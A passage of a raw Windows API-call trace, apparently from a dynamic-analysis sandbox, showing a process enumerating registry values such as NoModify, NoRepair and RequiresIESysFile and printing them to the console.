0x2e0000 [0146.752] GetProcessHeap () returned 0x2e0000 [0146.752] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.752] GetProcessHeap () returned 0x2e0000 [0146.752] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5e [0146.752] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.752] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.752] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.753] GetProcessHeap () returned 0x2e0000 [0146.753] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fb7d0 [0146.753] GetProcessHeap () returned 0x2e0000 [0146.753] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.753] GetProcessHeap () returned 0x2e0000 [0146.753] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.753] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fb7d0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0146.753] __iob_func () returned 0x7fefd702a80 [0146.753] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.753] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.753] _fileno (_File=0x7fefd702ab0) returned 1 [0146.753] _errno () returned 0xc4bb0 [0146.753] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.753] _errno () returned 0xc4bb0 [0146.753] GetFileType (hFile=0x50) returned 0x1 [0146.753] lstrlenW (lpString=" ") returned 4 [0146.753] GetConsoleOutputCP () returned 0x1b5 [0146.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.753] GetConsoleOutputCP () returned 0x1b5 [0146.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.753] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.753] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.753] lstrlenW (lpString="NoModify") returned 8 [0146.753] __iob_func () returned 0x7fefd702a80 [0146.753] _fileno (_File=0x7fefd702ab0) returned 1 [0146.753] _errno () returned 0xc4bb0 [0146.753] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.753] _errno () returned 0xc4bb0 [0146.753] GetFileType (hFile=0x50) returned 0x1 [0146.754] lstrlenW (lpString="NoModify") returned 8 [0146.754] GetConsoleOutputCP () returned 0x1b5 [0146.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.754] GetConsoleOutputCP () returned 0x1b5 [0146.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0146.754] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.754] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.754] __iob_func () returned 0x7fefd702a80 [0146.754] _fileno (_File=0x7fefd702ab0) returned 1 [0146.754] _errno () returned 0xc4bb0 [0146.754] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.754] _errno () returned 0xc4bb0 [0146.754] GetFileType (hFile=0x50) returned 0x1 [0146.754] lstrlenW (lpString=" ") returned 4 [0146.754] GetConsoleOutputCP () returned 0x1b5 [0146.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.754] GetConsoleOutputCP () returned 0x1b5 [0146.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.754] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.754] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.755] __iob_func () returned 0x7fefd702a80 [0146.755] _fileno (_File=0x7fefd702ab0) returned 1 [0146.755] _errno () returned 0xc4bb0 [0146.755] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.755] _errno () returned 0xc4bb0 [0146.755] GetFileType (hFile=0x50) returned 0x1 [0146.755] lstrlenW (lpString="REG_DWORD") returned 9 [0146.755] GetConsoleOutputCP () returned 0x1b5 [0146.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.755] GetConsoleOutputCP () returned 0x1b5 [0146.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.755] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.755] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.755] __iob_func () returned 0x7fefd702a80 [0146.755] _fileno (_File=0x7fefd702ab0) returned 1 [0146.755] _errno () returned 0xc4bb0 [0146.755] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.755] _errno () returned 0xc4bb0 [0146.755] GetFileType (hFile=0x50) returned 0x1 [0146.755] lstrlenW (lpString=" ") returned 4 [0146.755] GetConsoleOutputCP () returned 0x1b5 [0146.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.755] GetConsoleOutputCP () returned 0x1b5 [0146.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.756] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.756] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.756] __iob_func () returned 0x7fefd702a80 [0146.756] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.756] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0146.756] _fileno (_File=0x7fefd702ab0) returned 1 [0146.756] _errno () returned 0xc4bb0 [0146.756] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.756] _errno () returned 0xc4bb0 [0146.756] GetFileType (hFile=0x50) returned 0x1 [0146.756] lstrlenW (lpString="0x1") returned 3 [0146.756] GetConsoleOutputCP () returned 0x1b5 [0146.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.756] GetConsoleOutputCP () returned 0x1b5 [0146.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0146.756] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.756] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.756] __iob_func () returned 0x7fefd702a80 [0146.756] _fileno (_File=0x7fefd702ab0) returned 1 [0146.756] _errno () returned 0xc4bb0 [0146.756] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.756] _errno () returned 0xc4bb0 [0146.756] GetFileType (hFile=0x50) returned 0x1 [0146.757] lstrlenW (lpString="\n") returned 1 [0146.757] GetConsoleOutputCP () returned 0x1b5 [0146.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.757] GetConsoleOutputCP () returned 0x1b5 [0146.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.757] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.757] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.757] GetProcessHeap () returned 0x2e0000 [0146.757] GetProcessHeap () returned 0x2e0000 [0146.757] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.757] GetProcessHeap () returned 0x2e0000 [0146.757] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.757] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.757] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.758] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.758] GetProcessHeap () returned 0x2e0000 [0146.758] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fb7d0 [0146.758] GetProcessHeap () returned 0x2e0000 [0146.758] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.758] GetProcessHeap () returned 0x2e0000 [0146.758] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.758] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fb7d0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0146.758] __iob_func () returned 0x7fefd702a80 [0146.758] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.758] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.758] _fileno (_File=0x7fefd702ab0) returned 1 [0146.758] _errno () returned 0xc4bb0 [0146.758] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.758] _errno () returned 0xc4bb0 [0146.758] GetFileType (hFile=0x50) returned 0x1 [0146.758] lstrlenW (lpString=" ") returned 4 [0146.758] GetConsoleOutputCP () returned 0x1b5 [0146.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.758] GetConsoleOutputCP () returned 0x1b5 [0146.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.758] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.758] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.758] lstrlenW (lpString="NoRepair") returned 8 [0146.758] __iob_func () returned 0x7fefd702a80 [0146.758] _fileno (_File=0x7fefd702ab0) returned 1 [0146.758] _errno () returned 0xc4bb0 [0146.758] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.758] _errno () returned 0xc4bb0 [0146.759] GetFileType (hFile=0x50) returned 0x1 [0146.759] lstrlenW (lpString="NoRepair") returned 8 [0146.759] GetConsoleOutputCP () returned 0x1b5 [0146.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.759] GetConsoleOutputCP () returned 0x1b5 [0146.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0146.759] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.759] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.759] __iob_func () returned 0x7fefd702a80 [0146.759] _fileno (_File=0x7fefd702ab0) returned 1 [0146.759] _errno () returned 0xc4bb0 [0146.759] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.759] _errno () returned 0xc4bb0 [0146.759] GetFileType (hFile=0x50) returned 0x1 [0146.759] lstrlenW (lpString=" ") returned 4 [0146.759] GetConsoleOutputCP () returned 0x1b5 [0146.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.759] GetConsoleOutputCP () returned 0x1b5 [0146.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.759] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.759] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.760] __iob_func () returned 0x7fefd702a80 [0146.760] _fileno (_File=0x7fefd702ab0) returned 1 [0146.760] _errno () returned 0xc4bb0 [0146.760] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.760] _errno () returned 0xc4bb0 [0146.760] GetFileType (hFile=0x50) returned 0x1 [0146.760] lstrlenW (lpString="REG_DWORD") returned 9 [0146.760] GetConsoleOutputCP () returned 0x1b5 [0146.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.760] GetConsoleOutputCP () returned 0x1b5 [0146.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.760] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.760] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.760] __iob_func () returned 0x7fefd702a80 [0146.760] _fileno (_File=0x7fefd702ab0) returned 1 [0146.760] _errno () returned 0xc4bb0 [0146.760] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.760] _errno () returned 0xc4bb0 [0146.760] GetFileType (hFile=0x50) returned 0x1 [0146.760] lstrlenW (lpString=" ") returned 4 [0146.760] GetConsoleOutputCP () returned 0x1b5 [0146.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.760] GetConsoleOutputCP () returned 0x1b5 [0146.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.761] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.761] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.761] __iob_func () returned 0x7fefd702a80 [0146.761] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.761] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0146.761] _fileno (_File=0x7fefd702ab0) returned 1 [0146.761] _errno () returned 0xc4bb0 [0146.761] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.761] _errno () returned 0xc4bb0 [0146.761] GetFileType (hFile=0x50) returned 0x1 [0146.761] lstrlenW (lpString="0x1") returned 3 [0146.761] GetConsoleOutputCP () returned 0x1b5 [0146.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.761] GetConsoleOutputCP () returned 0x1b5 [0146.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0146.761] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.761] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.761] __iob_func () returned 0x7fefd702a80 [0146.761] _fileno (_File=0x7fefd702ab0) returned 1 [0146.761] _errno () returned 0xc4bb0 [0146.761] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.761] _errno () returned 0xc4bb0 [0146.761] GetFileType (hFile=0x50) returned 0x1 [0146.761] lstrlenW (lpString="\n") returned 1 [0146.762] GetConsoleOutputCP () returned 0x1b5 [0146.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.762] GetConsoleOutputCP () returned 0x1b5 [0146.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.762] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.762] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.762] GetProcessHeap () returned 0x2e0000 [0146.762] GetProcessHeap () returned 0x2e0000 [0146.762] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.762] GetProcessHeap () returned 0x2e0000 [0146.762] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.762] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.762] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiresIESysFile", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.762] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="RequiresIESysFile", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x1a) returned 0x0 [0146.762] GetProcessHeap () returned 0x2e0000 [0146.762] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1c) returned 0x2f5bf0 [0146.762] GetProcessHeap () returned 0x2e0000 [0146.762] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.762] GetProcessHeap () returned 0x2e0000 [0146.762] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1c [0146.762] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="RequiresIESysFile", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x1a | out: pdwType=0x23f5f0*=0x1, pvData="4.70.0.1155", pcbData=0x23f670*=0x18) returned 0x0 [0146.762] __iob_func () returned 0x7fefd702a80 [0146.762] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.762] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.762] _fileno (_File=0x7fefd702ab0) returned 1 [0146.762] _errno () returned 0xc4bb0 [0146.762] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.762] _errno () returned 0xc4bb0 [0146.763] GetFileType (hFile=0x50) returned 0x1 [0146.763] lstrlenW (lpString=" ") returned 4 [0146.763] GetConsoleOutputCP () returned 0x1b5 [0146.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.763] GetConsoleOutputCP () returned 0x1b5 [0146.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.763] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.763] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.763] lstrlenW (lpString="RequiresIESysFile") returned 17 [0146.763] __iob_func () returned 0x7fefd702a80 [0146.763] _fileno (_File=0x7fefd702ab0) returned 1 [0146.763] _errno () returned 0xc4bb0 [0146.763] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.763] _errno () returned 0xc4bb0 [0146.763] GetFileType (hFile=0x50) returned 0x1 [0146.763] lstrlenW (lpString="RequiresIESysFile") returned 17 [0146.763] GetConsoleOutputCP () returned 0x1b5 [0146.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="RequiresIESysFile", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0146.763] GetConsoleOutputCP () returned 0x1b5 [0146.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="RequiresIESysFile", cchWideChar=17, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RequiresIESysFile", lpUsedDefaultChar=0x0) returned 17 [0146.763] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0146.764] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.764] __iob_func () returned 0x7fefd702a80 [0146.764] _fileno (_File=0x7fefd702ab0) returned 1 [0146.764] _errno () returned 0xc4bb0 [0146.764] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.764] _errno () returned 0xc4bb0 [0146.764] GetFileType (hFile=0x50) returned 0x1 [0146.764] lstrlenW (lpString=" ") returned 4 [0146.764] GetConsoleOutputCP () returned 0x1b5 [0146.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.764] GetConsoleOutputCP () returned 0x1b5 [0146.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.764] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.764] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.764] __iob_func () returned 0x7fefd702a80 [0146.764] _fileno (_File=0x7fefd702ab0) returned 1 [0146.764] _errno () returned 0xc4bb0 [0146.764] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.764] _errno () returned 0xc4bb0 [0146.764] GetFileType (hFile=0x50) returned 0x1 [0146.764] lstrlenW (lpString="REG_SZ") returned 6 [0146.764] GetConsoleOutputCP () returned 0x1b5 [0146.764] WideCharToMultiByte (in: CodePage=0x1b5, 